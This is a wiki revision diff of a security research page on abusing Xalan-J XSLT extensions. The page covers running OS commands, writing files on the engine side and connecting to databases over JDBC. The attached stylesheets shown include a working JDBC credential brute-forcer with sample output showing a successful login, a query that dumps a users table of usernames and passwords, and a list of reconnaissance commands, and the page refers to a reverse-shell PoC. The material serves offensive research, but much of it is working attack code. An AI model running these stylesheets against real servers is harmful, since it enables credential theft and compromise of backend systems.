Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 56.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 00:11
Change comment: Upload new attachment xalanj-write.xsl
To version Icon 67.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 23:04
Change comment: Upload new attachment unixcommands.xml

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50 50  
51 51  == OS command execution ==
52 52  
53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class.
54 54  
55 +=== Command without output ===
56 +
57 +The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
58 +
55 55  |=Namespace|=Extension functions|=PoC
56 56  |http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 57  
58 58  __Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 59  
64 +=== Reading stdout ===
65 +
66 +As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (using <loop:update>), but the syntax is awful and error prone.
67 +
68 +It's far more efficient to 1) write loops using non-standard elements like <loop:while> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT).
69 +
70 +|=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output
71 +|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]||[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]||[[unix_commands.xml>>attach:unix_commands.xml]]||[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]]
72 +
73 +xx
74 +
75 +=== A pure Java reverse-shell ===
76 +
77 +It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-(
78 +
60 60  == File creation ==
61 61  
62 -The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
81 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 63  
64 64  |=Namespace|=Extension element|=Parameter|=PoC
65 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]\\
84 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 66  
67 -ccc
68 -
69 69  == JDBC connectivity ==
70 70  
71 -xxx TODO xxx
88 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
89 +
90 +=== Simple connection ===
91 +
92 +The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
93 +
94 +|=Namespace|=Extension function|=PoC
95 +|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
96 +
97 +=== Credentials brute-forcing ===
98 +
99 +The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
100 +
101 +
102 +Here's the output when launched from the CLI :
103 +
104 +##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
105 +Username : [root] / Password : [] :
106 +Username : [root] / Password : [uberpasswd] :
107 +Username : [root] / Password : [cnam] : OK !!
108 +Username : [pma] / Password : [pma] : ##
Icon unixcommands.xml
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1 +xwiki:XWiki.NicolasGregoire
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1 +<data>
2 +<command>id</command>
3 +<command>date</command>
4 +<command>ifconfig lo</command>
5 +<command>tree /var/cache/apt</command>
6 +<command>uname -a</command>
7 +</data>
8 +
Icon xalanj-jdbc-bruteforce.xml
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1 +xwiki:XWiki.NicolasGregoire
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1 +<data>
2 + <foobar>
3 + <DBINFO>
4 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
5 + <dburl>jdbc:mysql://localhost/</dburl>
6 + <user>root</user>
7 + <password></password>
8 + </DBINFO>
9 + </foobar>
10 + <foobar>
11 + <DBINFO>
12 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
13 + <dburl>jdbc:mysql://localhost/</dburl>
14 + <user>root</user>
15 + <password>uberpasswd</password>
16 + </DBINFO>
17 + </foobar>
18 + <foobar>
19 + <DBINFO>
20 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
21 + <dburl>jdbc:mysql://localhost/</dburl>
22 + <user>root</user>
23 + <password>cnam</password>
24 + </DBINFO>
25 + </foobar>
26 + <foobar>
27 + <DBINFO>
28 + <dbdriver>com.mysql.jdbc.Driver</dbdriver>
29 + <dburl>jdbc:mysql://localhost/</dburl>
30 + <user>pma</user>
31 + <password>pma</password>
32 + </DBINFO>
33 + </foobar>
34 +</data>
35 +
Icon xalanj-jdbc-bruteforce.xsl
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1 +<?xml version="1.0"?>
2 +
3 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 + version="1.0"
5 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
6 + extension-element-prefixes="sql">
7 +
8 +<xsl:output method="text" indent="yes"/>
9 +<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
10 +
11 +<xsl:template match="//data">
12 + <xsl:for-each select="foobar">
13 +
14 + <xsl:variable name="cinfo" select="DBINFO"/>
15 + <xsl:variable name="user" select="DBINFO/user/text()"/>
16 + <xsl:variable name="passwd" select="DBINFO/password/text()"/>
17 +
18 + <xsl:variable name="db" select="sql:new($cinfo)"/>
19 + <xsl:variable name="data" select='sql:query($db, $query)'/>
20 +
21 + <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
22 + <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
23 + <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
24 +
25 + </xsl:for-each>
26 +</xsl:template>
27 +
28 +</xsl:stylesheet>
29 +
Icon xalanj-jdbc-query.xsl
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1 +xwiki:XWiki.NicolasGregoire
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 + extension-element-prefixes="sql"
4 + version="1.0">
5 +
6 +<xsl:output method="xml" indent="yes"/>
7 +
8 +<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 +<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 +<xsl:param name="user" select="'root'"/>
11 +<xsl:param name="pass" select="'14m31337'"/>
12 +<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 +
14 +<xsl:template match="/">
15 + <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 + <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 + <xsl:copy-of select="$table" />
18 + <xsl:value-of select="sql:close($db)"/>
19 +</xsl:template>
20 +
21 +</xsl:stylesheet>
22 +